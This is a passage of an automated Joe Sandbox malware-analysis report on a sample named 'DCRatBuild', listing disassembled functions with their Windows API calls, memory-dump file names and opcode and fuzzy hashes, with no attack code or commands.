Instruction ID: 6af7b00ea0f046bd0ce80c376f7aca8636defa27fbd03655c2735872e3f1b587
Opcode Fuzzy Hash: 2f20c7be89533fe01e6d199f2485520f43496a2400bc520db22860196b8613b4
Instruction Fuzzy Hash: 0CD02235558700B85C147E78281345833C5FEA2B79BAC47CAF030C5AC1EE148440E013

Uniqueness

Uniqueness Score: -1.00%

Function 008712F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00871306
ShowWindow.USER32(00000000), ref: 0087130D

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: d4bd713a5ae9938c76f18f6b8fba498fbbc8ee1df2472df3d5007004b16fb0d0
Instruction ID: a016eba16de77d794524c28af1d27cc70887604f2177cea631ee6c9d4eaff8c8
Opcode Fuzzy Hash: d4bd713a5ae9938c76f18f6b8fba498fbbc8ee1df2472df3d5007004b16fb0d0
Instruction Fuzzy Hash: 33C0123205C202BECF021BB4DC09C2BBBA8BBA6312F04CA0AB0A5C0060C238C210DB12

Uniqueness

Uniqueness Score: -1.00%

Function 00871A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00871A09

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2553c146421d09d246fe1b1e085a6f191c7db58d164fb625233131ae3a5f6b43
Instruction ID: 429ba8adb9c812e090cd16b59592b6c9ec1e97cd968a5a16cdfd4b2eca455492
Opcode Fuzzy Hash: 2553c146421d09d246fe1b1e085a6f191c7db58d164fb625233131ae3a5f6b43
Instruction Fuzzy Hash: 8BC18330A002549FEF25CF6CC498BA97BA5FF55310F1881B9EC49DBA9ADB30D944CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00873BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00873BBF

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: cb73bf6d76eb3efefcf897f303a9c9db3498f8dfc52552820fa197b1c1c8823a
Instruction ID: edb40a9151009a50b4a0b52f436b93f1579e07696d7cab14f49444501a427480
Opcode Fuzzy Hash: cb73bf6d76eb3efefcf897f303a9c9db3498f8dfc52552820fa197b1c1c8823a
Instruction Fuzzy Hash: B271A071500B449EDB35EB78C8559E7B7E9FB14300F40892EE1AFC7645DA32A684EF12

Uniqueness

Uniqueness Score: -1.00%

Function 00878284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00878289

Part of subcall function 008713DC: __EH_prolog.LIBCMT ref: 008713E1

Part of subcall function 0087A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0087A598

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: 6fa77f49957b452a83887c01f2ee0398166ee5a63a0d9649d31a094a7b323870
Instruction ID: dfa4815d2eeae0b80e4ab866e9f5908589a07ad98073fcf131cb168f708d7a7e
Opcode Fuzzy Hash: 6fa77f49957b452a83887c01f2ee0398166ee5a63a0d9649d31a094a7b323870
Instruction Fuzzy Hash: 9341C9719446589ADB20EB68CC59AE9B368FF00304F4484EAE08EE7197EB759EC4CB51

Uniqueness

Uniqueness Score: -1.00%

Function 008713E1 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 008713E1

Part of subcall function 00875E37: __EH_prolog.LIBCMT ref: 00875E3C

Part of subcall function 0087CE40: __EH_prolog.LIBCMT ref: 0087CE45

Part of subcall function 0087B505: __EH_prolog.LIBCMT ref: 0087B50A

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c1d904bae82b0f11b403a2e3747e63b0ce8af19e3f69a19b0200f4b233bd5837
Instruction ID: 3803b1f61a2e69a1879eb7e5b8ee20755c375fb9b60ced5ad8334c6b0b52f13c
Opcode Fuzzy Hash: c1d904bae82b0f11b403a2e3747e63b0ce8af19e3f69a19b0200f4b233bd5837
Instruction Fuzzy Hash: 174146B0905B409AE724DF3D8885AE6FAE5FF19310F54492EE5EEC3282CB316654CB11

Uniqueness

Uniqueness Score: -1.00%

Function 008713DC Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 008713E1

Part of subcall function 00875E37: __EH_prolog.LIBCMT ref: 00875E3C

Part of subcall function 0087CE40: __EH_prolog.LIBCMT ref: 0087CE45

Part of subcall function 0087B505: __EH_prolog.LIBCMT ref: 0087B50A

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 506b81ee529606d01cb632ffb15ba1acac9278d92c5086886bd54842f75c7d22
Instruction ID: 6f297627a2d4e30a9cb743da77e230d89e99322c8df6e0f2851c64742b60551a
Opcode Fuzzy Hash: 506b81ee529606d01cb632ffb15ba1acac9278d92c5086886bd54842f75c7d22
Instruction Fuzzy Hash: FC4146B0905B409AE724DF7D8885AE6FAE5FF19310F54492ED6EEC3282CB316654CB11

Uniqueness

Uniqueness Score: -1.00%

Function 0088B093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0088B098

Part of subcall function 008713DC: __EH_prolog.LIBCMT ref: 008713E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e2a2da71da7106c6aa63fccbb14c400da446790938fd1415506b4640fd76284a
Instruction ID: 7bbad3cc3af2853f0fa5c4f90e241f634c100891f83ed6ad685e2e3de41a220c
Opcode Fuzzy Hash: e2a2da71da7106c6aa63fccbb14c400da446790938fd1415506b4640fd76284a
Instruction Fuzzy Hash: 1A318A75814249EACF15EFA8C8559EEBBB4FF59304F10449EE409F7242DB35AE04CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0089AC98 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 0089ACF8

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 1443176cf0baa04679802ab9b5d5ed41009b9b020fa2710de75ec0feb6c9ecc3
Instruction ID: 22ef03837091b67a46cf4d05e3d5848b4b58de1439e34b58ef2de618211812c4
Opcode Fuzzy Hash: 1443176cf0baa04679802ab9b5d5ed41009b9b020fa2710de75ec0feb6c9ecc3
Instruction Fuzzy Hash: EE11A333A006256FAF2AAE28EC4095A7395FB8536971E4620FD15EB654D730DC01C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 00879215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0087921A

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 0486d031bbaec7b43b0f54753f6894bca1e51462bd4c2c0295a4afef0df37099
Instruction ID: 23cdee8ecad9ebbd6d0fd4212657c05bbddc0eb3e8e8288bebe1394e0fd6b1f7
Opcode Fuzzy Hash: 0486d031bbaec7b43b0f54753f6894bca1e51462bd4c2c0295a4afef0df37099
Instruction Fuzzy Hash: 10015633910528ABCF12FBACCC819DEB735FF88750B018565E869F7256DA34CD04C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00893C0D Relevance: 1.5, APIs: 1, Instructions: 34libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00893C3F

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: d08ed85dfdc318361b3161e029a7ce23a9e850f7798d0aaccabd307c1a663f27
Instruction ID: 224c3b543ef184bd1ad4ac881b836dbfac0a7e815fed91cf63dfa2ec863d9e96
Opcode Fuzzy Hash: d08ed85dfdc318361b3161e029a7ce23a9e850f7798d0aaccabd307c1a663f27
Instruction Fuzzy Hash: 3AF0E532204A169FCF11AEA8EC0499A77A9FF11B287184125FA05E7190DB31DA20C790

Uniqueness

Uniqueness Score: -1.00%

Function 00898E06 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0089CA2C,00000000,?,00896CBE,?,00000008,?,008991E0,?,?,?), ref: 00898E38

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a3eaddae738e1b11553c1b3a78a597977470db21b869c36fdab132ec512ca6d7
Instruction ID: 1f1b81857cd3afb7eca6d0db729799663197b2bde35990db9723b6615af654d2
Opcode Fuzzy Hash: a3eaddae738e1b11553c1b3a78a597977470db21b869c36fdab132ec512ca6d7
Instruction Fuzzy Hash: F4E03031206227D7EE7136799C15B9F7648FB537A4B1D0111AC58D6091DF20CC0092A1

Uniqueness

Uniqueness Score: -1.00%

Function 00875ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00875AC2

Part of subcall function 0087B505: __EH_prolog.LIBCMT ref: 0087B50A

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 93239da3b539755467f8089375ee7b33e8f170e287dfaf56d908cd6e4704ee60
Instruction ID: d90e24e9fd20928540b1bae1c3bf060c087779ce50d6d7262688580d4519abfc
Opcode Fuzzy Hash: 93239da3b539755467f8089375ee7b33e8f170e287dfaf56d908cd6e4704ee60
Instruction Fuzzy Hash: BE018C30A10790DAD725F7BCC0417DDFBA4EF64318F51848DA45AA3282DBB41B08DBA3

Uniqueness

Uniqueness Score: -1.00%

Function 00879620 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(000000FF,?,?,008795D6,?,?,?,?,?,008A2641,000000FF), ref: 0087963B

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 414f3f4c71cd33397467fe36667d59c1b55c8c34832ead59fd1c98d68fa3dd62
Instruction ID: deb3cba768e55de2b9328526ea3b5b9901d067972b2c373742791e5d2c23ae44
Opcode Fuzzy Hash: 414f3f4c71cd33397467fe36667d59c1b55c8c34832ead59fd1c98d68fa3dd62
Instruction Fuzzy Hash: 46F08970485B159FDB318A64C458792B7E8FB23331F149B5ED0EBC29F4D761E68D8A40

Uniqueness

Uniqueness Score: -1.00%

Function 0087A56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 0087A69B: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0087A592,000000FF,?,?), ref: 0087A6C4
Part of subcall function 0087A69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,0087A592,000000FF,?,?), ref: 0087A6F2
Part of subcall function 0087A69B: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0087A592,000000FF,?,?), ref: 0087A6FE

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0087A598

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: efe5d0c8e8457e8aebdba9042be3d246f64db5401761d53bb93fd57586061068
Instruction ID: 5e4d8048ae933c7091b94c3b1bfa382b6be18733678ac5cbba249090b1c5b2a9
Opcode Fuzzy Hash: efe5d0c8e8457e8aebdba9042be3d246f64db5401761d53bb93fd57586061068
Instruction Fuzzy Hash: B4F08931009790AACB6657F849047CF7B90BF66331F04CA4DF5FD9219AC37590949B23

Uniqueness

Uniqueness Score: -1.00%

Function 00880E08 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00880E3D

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: d5849fbad4ffede2fe0de84bd353eaac2bc63c34379cf91302edafb4dad1f74d
Instruction ID: 0b1dffe86c163417c36c3c8711f0c73486cdb9769586cc5d40753e0d6fdae54c
Opcode Fuzzy Hash: d5849fbad4ffede2fe0de84bd353eaac2bc63c34379cf91302edafb4dad1f74d
Instruction Fuzzy Hash: EED0121161549556EE22332D686D7FF260AFFC6321F0D0065B14DDB686DE54888BA363

Uniqueness

Uniqueness Score: -1.00%

Function 0088A626 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 0088A62C

Part of subcall function 0088A3B9: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 0088A3DA

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction ID: cb720f395928d29a8b1cbc6feaad51c9aeee522ec4b933a82fdd7fe9ec0e5c0b
Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction Fuzzy Hash: DDD0A93024020CBAEF0ABB65CC02A6E7A99FB10750F008022B842E52C1FBB1D910A363

Uniqueness

Uniqueness Score: -1.00%

Function 0088E5BB Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 0088E5E3

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: 2c7de1e22b1b7df03d9b08a144ce81a89464f2f8ca9287098315f28512f6ae04
Instruction ID: 852bc901022253e9dcdcc4ae456b822d28a47ce389ae1885bf4cfe2a8c218c4f
Opcode Fuzzy Hash: 2c7de1e22b1b7df03d9b08a144ce81a89464f2f8ca9287098315f28512f6ae04
Instruction Fuzzy Hash: B0D012B02D0251ABDB21FFACA84B7183354FB34704FD00212F155D19A5DB644480C706

Uniqueness

Uniqueness Score: -1.00%

Function 0088DD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00881B3E), ref: 0088DD92

Part of subcall function 0088B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0088B579
Part of subcall function 0088B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0088B58A
Part of subcall function 0088B568: IsDialogMessageW.USER32(0003045E,?), ref: 0088B59E
Part of subcall function 0088B568: TranslateMessage.USER32(?), ref: 0088B5AC
Part of subcall function 0088B568: DispatchMessageW.USER32(?), ref: 0088B5B6

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

